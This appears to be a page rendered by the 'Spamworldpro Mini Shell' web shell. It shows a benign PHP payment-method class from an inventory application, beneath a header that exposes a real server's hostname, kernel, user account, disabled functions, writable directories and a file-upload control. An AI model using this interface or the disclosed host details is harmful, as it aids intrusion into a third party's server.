Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/inventory.corals.io/Corals/modules/Payment/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/inventory.corals.io/Corals/modules/Payment/Common/PaymentMethod.php
<?php
/**
 * Payment Method
 */

namespace Corals\Modules\Payment\Common;

/**
 * Payment Method
 *
 * This class defines a payment method to be used in the Payment system.
 *
 * @see Issuer
 */
class PaymentMethod
{

    /**
     * The ID of the payment method.  Used as the payment method ID in the
     * Issuer class.
     *
     * @see Issuer
     *
     * @var string
     */
    protected $id;

    /**
     * The full name of the payment method
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new PaymentMethod
     *
     * @param string $id The identifier of this payment method
     * @param string $name The name of this payment method
     */
    public function __construct($id, $name)
    {
        $this->id = $id;
        $this->name = $name;
    }

    /**
     * The identifier of this payment method
     *
     * @return string
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * The name of this payment method
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }
}

Spamworldpro Mini